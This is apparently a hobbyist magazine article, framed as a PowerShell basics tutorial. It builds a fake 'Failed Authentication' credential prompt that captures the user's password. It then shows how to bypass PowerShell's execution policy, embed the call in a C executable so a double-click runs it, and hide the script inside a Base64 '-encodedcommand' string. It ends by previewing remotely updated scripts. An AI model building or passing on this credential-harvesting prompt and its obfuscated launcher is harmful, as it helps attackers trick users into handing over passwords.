Out of the Box Survival, Part Two: A Guide to PowerShell Basics

by Kris Occhipinti (Metalx1000)

In my previous article, I showed you some of the basics of using the PowerShell scripting language.

Although it's not my first choice in programming languages, I find it important to know how it works so that you can easily write useful scripts for Microsoft Windows with the minimal need for external tools.

A reminder: PowerShell didn't appear in Microsoft's default Windows installs until Vista.  So, this will not be useful on Windows XP or before.

Now that we have the basics of PowerShell down and we know some commands that we can run at the PowerShell prompt, it's time to start putting these commands into scripts that can be called locally, remotely, or that can be placed into an executable binary (a.k.a. a Windows EXE file).

Let's take a simple example from my last article.

We will use the example of creating a simple authentication window pop-up, which tells the user that there was a "Failed Authentication" and requests that they enter their username and password.

Create an empty text file and call it: msg.ps1

Place the following code into that file and save it:

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);
$name = $cred.username;
$password = $cred.getnetworkcredential().password;

Now, you can edit this with any text editor you want.  You can use Notepad, Notepad++, etc.

Another option would be to use Windows PowerShell Integrated Software Environment (ISE), which will be installed by default on newer versions of Windows.

One way to access Microsoft's ISE for PowerShell is to, after creating an empty PS1 file, right-click on a PowerShell script and choose "Edit" from the drop-down menu.

Now you may think that, like most scripts, all you would have to do now is double-click the icon for the script and it would run.

That is not the case when it comes to Microsoft and their PowerShell scripts.

For "security" reasons this will not work.

But, luckily for us, just like most of Microsoft's security, this security setting doesn't really do anything other than make people who don't know any better feel like there is some sort of security.  You can change the system setting on a machine to allow scripts to run with different permissions, but we don't want to do that.  The less changes we make the better.

You may also notice an option in the drop-down menu when you right-click the PowerShell script you've created labeled "Run with PowerShell".

Chances are this won't work for you either.  Plus, in many cases you aren't going to want the end user to have to do that, nor would you want to have to do that every time yourself.

The great thing about this security feature is that it can be completely bypassed at the time the script is called, making this about as secure as a system that thinks creating a pop-up window that asks, "Do you want to allow the following program to make changes to this computer?", and giving the options of "Yes" and "No', is a secure way to handle malicious software.

To run this script, we can simply execute it with the following arguments:

C:\> powershell -executionpolicy bypass .\msg.ps1

That's correct.

You didn't misread that command and I didn't type it incorrectly.

Microsoft has decided that it's too dangerous to allow a PowerShell script to run without the user confirming the execution of it, but they also decided that you can just tell PowerShell to ignore and bypass the policies that are set in place on the system.

This makes the first security policy not a security policy at all.  It's more of just an inconvenience.

We now know that you can type a command that tells PowerShell to bypass policies, so we should at this point realize that we can now place that command into any other script or program that we create.

This will allow us, or any end user, to have an icon that can just be double-clicked.  We can place it in something as simple as a batch file or call it in a very basic C program.

#include <stdio.h>
int main()
{
  system("powershell -executionpolicy bypass ./msg.ps1");
  return 0;
}

The problem with doing it this way is that now you have two files.

You'll have your PowerShell script (msg.ps1), and you'll have your EXE or BAT file.  And that's no good.

We don't want to have to worry about distributing two files.  We also don't want to have to worry about one file being able to find the other at the time of execution.

Don't worry, that is where Base64 comes in.

Base64 is a type of encoding that takes any binary files and converts them to plain ASCII.

This binary file can be an image file, a music file, a video file, or an executable file.

Base64 is very common.  Even if you have not heard of it, you've used it.  Files such as JPEG or PNG can be embedded in web pages with Base64.

Attachments in email are encoded in Base64.  Images you create in an HTML5 canvas can be saved in a Base64 encoding for later use or transfer.

The good news here is that not only can PowerShell encode and decode Base64 data, but you can use this feature to encode your entire script.

This will allow you to encode the PowerShell script and place it directly into your batch file or C code.

To encode your script in Base64 on a Windows machine, you can use PowerShell itself.

So open PowerShell and run these commands:

$script = Get-Content ???.\msg.ps1???
$bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
$encodedString = [Convert]::ToBase64String($bytes)
$encodedString| out-file "msg.b64"

Those few lines will open you script, encode it to Base64, and then save the encoding to a file called: msg.b64

If you are working on a Linux box, you can run this command to accomplish the same task:

$ base64 msg.ps1 > msg.b64

We now have our script in Base64 and we can simply run that script from a batch file or C code using the following form of execution:

C:\> powershell -encodedcommand JABjAHIAZQBkACAAPQAgACQAaABvAHMAdAAuAHUAaQAuAHAAcgBvAG0AcAB0AGYAbwByAGMAcgBlAGQAZQBuAHQAaQBhAGwAKAAnAEYAYQBpAGwAZQBkACAAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACcALAAnACcALABbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBVAHMAZQByAEQAbwBtAGEAaQBuAE4AYQBtAGUAIAArACAAIgBcACIAIAArACAAWwBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoAVQBzAGUAcgBOAGEAbQBlACwAWwBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoAVQBzAGUAcgBEAG8AbQBhAGkAbgBOAGEAbQBlACkAOwAgACQAbgBhAG0AZQAgAD0AIAAkAGMAcgBlAGQALgB1AHMAZQByAG4AYQBtAGUAOwAgACQAcABhAHMAcwB3AG8AcgBkACAAPQAgACQAYwByAGUAZAAuAGcAZQB0AG4AZQB0AHcAbwByAGsAYwByAGUAZABlAG4AdABpAGEAbAAoACkALgBwAGEAcwBzAHcAbwByAGQAOwA=

We now have one standalone file instead of two, making it easy to move the file from system to system without the worry of something getting lost.

We do have another problem though.

Our original code was pretty short.

Encoding it to Base64 does make it a bit more cluttered looking.  Although this technique is very useful, in some cases it may not be the best way to go, and can cause some problems if it gets too long.

We can shorten the length and decrease the size of our main executable by allowing it to call its commands from a server.

Doing this will not only decrease the size of our file that we distribute, but it allows us to make changes and update our script without requiring the user to upgrade or install a new version.

We would simply make changes to the script on our server (which can be as simple as making a change to it on pastebin.com or github.com) and, when the executable is clicked by the user, the new script will be pulled and run.

This, however, will be the topic of my next article.

For more programming tips check out: filmsbykris.com.

Return to $2600 Index